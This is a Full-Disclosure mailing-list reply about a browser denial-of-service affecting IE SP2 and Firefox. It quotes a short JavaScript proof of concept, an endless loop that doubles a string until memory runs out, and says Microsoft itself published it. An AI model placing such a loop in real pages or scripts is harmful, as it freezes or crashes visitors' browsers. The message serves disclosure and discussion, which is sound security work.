Re: [Full-Disclosure] IE sp2 and Mozilla Firefox DoS.

["morning_wood" <se_cur_ity@xxxxxxxxxxx>]

even Microsoft publishes PoC for browser DoS ( multi platform too )
see:
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dninstj/html/privacyforbrowserusers.asp

------ / snip / ------
var big_string = "double me up!";
while (true)
{
    big_string = big_string + big_string;   // 20 iterations equals all your
memory...
}
----- / snip / --------

kinda funny... unpatched too!
cheers,
m.w
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html